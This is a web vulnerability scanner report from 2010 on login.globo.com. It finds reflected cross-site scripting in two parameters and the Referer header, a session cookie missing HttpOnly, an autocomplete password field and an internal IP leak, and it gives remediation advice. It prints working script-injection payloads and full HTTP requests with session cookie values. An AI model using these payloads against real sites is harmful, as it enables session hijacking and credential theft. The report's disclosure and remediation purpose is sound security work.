Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.
The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.
Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).
The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.
Issue remediation
In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:
Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).
In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.
The value of the url request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a2fb5"><script>alert(1)</script>4c491fcb566 was submitted in the url parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /contrato/464?url=javascript:history.go(-1)a2fb5"><script>alert(1)</script>4c491fcb566 HTTP/1.1 Host: login.globo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=F9C5325671DA141A30FFAB9258C1D4DB; RMAM=01TFSM_12.4fE9CbFG|; __utmz=100629313.1293806829.1.1.utmcsr=globo.com|utmccn=(referral)|utmcmd=referral|utmcct=/ssi/barra/parceiros.htm; OAX=rnneEk0d7PgABd6P; __utma=100629313.936291352.1293806829.1293806829.1293806829.1; __utmc=100629313; __utmb=100629313.1.10.1293806829;
Response
HTTP/1.0 200 OK Date: Fri, 31 Dec 2010 14:58:30 GMT Pragma: no-cache Cache-Control: max-age=0 P3P: CP="NOI CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT" Server-IP: 10.10.111.124 Connection: close Content-Type: text/html;charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
The value of the urlRetorno request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c4b25"><script>alert(1)</script>92a8304d8a454a238 was submitted in the urlRetorno parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.
HTTP/1.1 200 OK Date: Fri, 31 Dec 2010 14:58:41 GMT Pragma: no-cache Cache-Control: max-age=0 P3P: CP="NOI CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT" Server-IP: 10.10.111.124 Keep-Alive: timeout=15, max=100 Connection: Keep-Alive Content-Type: text/html;charset=UTF-8 Content-Length: 6912
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html dir="ltr" xml:lang="pt-br" lang="pt-br" xmlns="http://www.w3.org/1999/xhtml"><hea ...[SNIP]... <input type="hidden" value="http://atendimento.globo.com/c4b25"><script>alert(1)</script>92a8304d8a454a238" name="urlRetorno"/> ...[SNIP]...
The value of the Referer HTTP header is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b93ab"><script>alert(1)</script>929ea4297d0 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Request
GET /login/464 HTTP/1.1 Host: login.globo.com Connection: keep-alive Referer: http://www.google.com/search?hl=en&q=b93ab"><script>alert(1)</script>929ea4297d0 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: OAX=rnneEk0d7PgABd6P; __utmz=100629313.1293806829.1.1.utmcsr=globo.com|utmccn=(referral)|utmcmd=referral|utmcct=/ssi/barra/parceiros.htm; __utma=100629313.936291352.1293806829.1293806829.1293806829.1; __utmc=100629313; __utmb=100629313.1.10.1293806829; RMAM=01TFSM_12.4fE9CbFG|
Response
HTTP/1.1 200 OK Date: Fri, 31 Dec 2010 14:55:52 GMT Pragma: no-cache Cache-Control: max-age=0 P3P: CP="NOI CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT" Server-IP: 10.10.111.124 Set-Cookie: JSESSIONID=4E25F554B2E4CC94689B825D827FA525; Path=/; Secure Keep-Alive: timeout=15, max=100 Connection: Keep-Alive Content-Type: text/html;charset=UTF-8 Content-Length: 6521
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html dir="ltr" xml:lang="pt-br" lang="pt-br" xmlns="http://www.w3.org/1999/xhtml"><hea ...[SNIP]... <input type="hidden" value="http://www.google.com/search?hl=en&q=b93ab"><script>alert(1)</script>929ea4297d0" name="urlRetorno"/> ...[SNIP]...
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Issue background
If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure can prevent certain client-side attacks, such as cross-site scripting, from trivially capturing the cookie's value via an injected script.
Issue remediation
There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.
You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious attacks can be delivered by client-side script injection, aside from simple cookie stealing.
Request
GET /login/464 HTTP/1.1 Host: login.globo.com Connection: keep-alive Referer: http://atendimento.globo.com/ Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: OAX=rnneEk0d7PgABd6P; __utmz=100629313.1293806829.1.1.utmcsr=globo.com|utmccn=(referral)|utmcmd=referral|utmcct=/ssi/barra/parceiros.htm; __utma=100629313.936291352.1293806829.1293806829.1293806829.1; __utmc=100629313; __utmb=100629313.1.10.1293806829; RMAM=01TFSM_12.4fE9CbFG|
Response
HTTP/1.1 200 OK Date: Fri, 31 Dec 2010 14:48:04 GMT Pragma: no-cache Cache-Control: max-age=0 P3P: CP="NOI CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT" Server-IP: 10.10.111.124 Set-Cookie: JSESSIONID=F9C5325671DA141A30FFAB9258C1D4DB; Path=/; Secure Keep-Alive: timeout=15, max=100 Connection: Keep-Alive Content-Type: text/html;charset=UTF-8 Content-Length: 6470
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html dir="ltr" xml:lang="pt-br" lang="pt-br" xmlns="http://www.w3.org/1999/xhtml"><hea ...[SNIP]...
3. Password field with autocomplete enabledpreviousnext
Summary
Severity:
Low
Confidence:
Certain
Host:
https://login.globo.com
Path:
/login/464
Issue detail
The page contains a form with the following action URL:
https://login.globo.com/login/464
The form contains the following password field with autocomplete enabled:
senha-passaporte
Issue background
Most browsers have a facility to remember user credentials that are entered into HTML forms. This function can be configured by the user and also by applications which employ user credentials. If the function is enabled, then credentials entered by the user are stored on their local computer and retrieved by the browser on future visits to the same application.
The stored credentials can be captured by an attacker who gains access to the computer, either locally or through some remote compromise. Further, methods have existed whereby a malicious web site can retrieve the stored credentials for other applications, by exploiting browser vulnerabilities or through application-level cross-domain attacks.
Issue remediation
To prevent browsers from storing credentials entered into HTML forms, you should include the attribute autocomplete="off" within the FORM tag (to protect all form fields) or within the relevant INPUT tags (to protect specific individual fields).
Request
GET /login/464 HTTP/1.1 Host: login.globo.com Connection: keep-alive Referer: http://atendimento.globo.com/ Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: OAX=rnneEk0d7PgABd6P; __utmz=100629313.1293806829.1.1.utmcsr=globo.com|utmccn=(referral)|utmcmd=referral|utmcct=/ssi/barra/parceiros.htm; __utma=100629313.936291352.1293806829.1293806829.1293806829.1; __utmc=100629313; __utmb=100629313.1.10.1293806829; RMAM=01TFSM_12.4fE9CbFG|
Response
HTTP/1.1 200 OK Date: Fri, 31 Dec 2010 14:48:04 GMT Pragma: no-cache Cache-Control: max-age=0 P3P: CP="NOI CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT" Server-IP: 10.10.111.124 Set-Cookie: JSESSIONID=F9C5325671DA141A30FFAB9258C1D4DB; Path=/; Secure Keep-Alive: timeout=15, max=100 Connection: Keep-Alive Content-Type: text/html;charset=UTF-8 Content-Length: 6470
RFC 1918 specifies ranges of IP addresses that are reserved for use in private networks and cannot be routed on the public Internet. Although various methods exist by which an attacker can determine the public IP addresses in use by an organisation, the private addresses used internally cannot usually be determined in the same ways.
Discovering the private addresses used within an organisation can help an attacker in carrying out network-layer attacks aiming to penetrate the organisation's internal infrastructure.
Issue remediation
There is not usually any good reason to disclose the internal IP addresses used within an organisation's infrastructure. If these are being returned in service banners or debug messages, then the relevant services should be configured to mask the private addresses. If they are being used to track back-end servers for load balancing purposes, then the addresses should be rewritten with innocuous identifiers from which an attacker cannot infer any useful information about the infrastructure.
The following RFC 1918 IP address was disclosed in the response:
10.10.111.124
Request
GET /contrato/464 HTTP/1.1 Host: login.globo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=F9C5325671DA141A30FFAB9258C1D4DB; RMAM=01TFSM_12.4fE9CbFG|; __utmz=100629313.1293806829.1.1.utmcsr=globo.com|utmccn=(referral)|utmcmd=referral|utmcct=/ssi/barra/parceiros.htm; OAX=rnneEk0d7PgABd6P; __utma=100629313.936291352.1293806829.1293806829.1293806829.1; __utmc=100629313; __utmb=100629313.1.10.1293806829;
Response
HTTP/1.0 200 OK Date: Fri, 31 Dec 2010 14:58:06 GMT Pragma: no-cache Cache-Control: max-age=0 P3P: CP="NOI CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT" Server-IP: 10.10.111.124 Connection: close Content-Type: text/html;charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
The server presented a valid, trusted SSL certificate. This issue is purely informational.
The server presented the following certificates:
Server certificate
Issued to:
login.globo.com
Issued by:
VeriSign Class 3 International Server CA - G3
Valid from:
Mon Nov 08 18:00:00 CST 2010
Valid to:
Wed Nov 09 17:59:59 CST 2011
Certificate chain #1
Issued to:
VeriSign Class 3 International Server CA - G3
Issued by:
VeriSign Class 3 Public Primary Certification Authority - G5
Valid from:
Sun Feb 07 18:00:00 CST 2010
Valid to:
Fri Feb 07 17:59:59 CST 2020
Certificate chain #2
Issued to:
VeriSign Class 3 Public Primary Certification Authority - G5
Issued by:
VeriSign Class 3 Public Primary Certification Authority - G5
Valid from:
Tue Nov 07 18:00:00 CST 2006
Valid to:
Wed Jul 16 18:59:59 CDT 2036
Issue background
SSL helps to protect the confidentiality and integrity of information in transit between the browser and server, and to provide authentication of the server's identity. To serve this purpose, the server must present an SSL certificate which is valid for the server's hostname, is issued by a trusted authority and is valid for the current date. If any one of these requirements is not met, SSL connections to the server will not provide the full protection for which SSL is designed.
It should be noted that various attacks exist against SSL in general, and in the context of HTTPS web connections. It may be possible for a determined and suitably-positioned attacker to compromise SSL connections without user detection even when a valid SSL certificate is used.Report generated by XSS.CX at Fri Dec 31 09:58:47 CST 2010.